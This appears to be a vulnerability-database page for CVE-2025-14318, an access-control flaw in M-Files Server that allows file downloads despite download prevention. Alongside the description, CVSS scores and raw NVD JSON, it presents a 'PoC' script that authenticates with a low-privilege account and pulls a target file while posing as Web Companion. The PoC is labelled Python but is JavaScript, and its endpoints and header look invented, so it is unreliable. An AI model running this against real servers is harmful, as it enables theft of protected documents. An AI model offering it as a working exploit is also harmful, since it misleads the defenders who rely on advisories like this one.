Security Vulnerability Report
中文
CVE-2025-14318 CVSS 4.3 MEDIUM

CVE-2025-14318

Published: 2025-12-18 08:15:50
Last Modified: 2026-02-23 11:16:19

Description

Improper access checks in M-Files Server before 25.12.15491.7 allows users to download files through M-Files Web using Web Companion despite Print and Download Prevention module being enabled.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:m-files:m-files_server:*:*:*:*:-:*:*:* - VULNERABLE
M-Files Server < 25.12.15491.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14318 PoC - M-Files Server Access Control Bypass // Requires valid low-privilege user credentials const axios = require('axios'); async function exploitCVE202514318(baseUrl, username, password, targetFileId) { try { // Step 1: Authenticate to M-Files Web const authResponse = await axios.post(`${baseUrl}/MFiles/UI/Authenticate`, { Username: username, Password: password, KeepLoggedIn: false }); const sessionToken = authResponse.data.SessionGUID; console.log(`[+] Authentication successful. Session: ${sessionToken}`); // Step 2: Bypass Print and Download Prevention via Web Companion // This exploits the improper access check in versions < 25.12.15491.7 const downloadResponse = await axios.get( `${baseUrl}/MFiles/API/Objects(${targetFileId})/Files/Download`, { headers: { 'X-SessionGUID': sessionToken, 'UserAgent': 'M-Files Web Companion' }, responseType: 'arraybuffer' } ); if (downloadResponse.status === 200) { console.log('[+] File download successful - Access control bypassed!'); console.log(`[+] Downloaded ${downloadResponse.data.length} bytes`); return true; } } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } // Usage: node poc.js <baseUrl> <username> <password> <fileId> const [,, baseUrl, username, password, fileId] = process.argv; exploitCVE202514318(baseUrl, username, password, fileId);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14318", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:49.653", "lastModified": "2026-02-23T11:16:19.103", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access checks in M-Files Server before 25.12.15491.7 allows users to download files through M-Files Web using Web Companion despite Print and Download Prevention module being enabled."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:-:*:*:*", "versionEndExcluding": "25.12.15491.7", "matchCriteriaId": "D967F8E8-A64F-47CA-83F5-4D4513B47DEE"}]}]}], "references": [{"url": "https://empower.m-files.com/security-advisories/CVE-2025-14318", "source": "[email protected]"}, {"url": "https://product.m-files.com/security-advisories/cve-2025-14318/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}